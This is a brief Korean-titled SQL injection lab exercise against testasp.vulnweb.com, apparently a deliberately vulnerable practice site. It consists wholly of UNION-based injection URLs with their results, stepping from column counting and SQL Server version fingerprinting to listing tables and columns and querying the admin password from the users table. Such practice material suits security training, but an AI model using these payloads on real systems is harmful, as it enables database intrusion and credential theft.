UNION based SQL Injection 실습
http://testasp.vulnweb.com/showforum.asp?id=0
http://testasp.vulnweb.com/showforum.asp?id=0 order by 1 --
http://testasp.vulnweb.com/showforum.asp?id=0 order by 2 --
http://testasp.vulnweb.com/showforum.asp?id=0 order by 3 -- è The ORDER BY position number 3 is out of the number of items …
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select @@version, 2-- è Microsoft SQL Server 2005 – 9.00.3042.00 …
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select count(name),2from sysobjects where xtype=0x55 -- è 4
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from sysobjects where xtype=0x55 -- è forums
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from sysobjects where xtype=0x55 and name not in ('forums') -- è posts
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select count(*),2 from syscolumns where id=(select id from sysobjects where name='users') -- è 5
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from syscolumns where id=(select id from sysobjects where name='users') -- è avatar
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('avatar') -- è email
http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select upass,2 from users where uname='admin' -- è none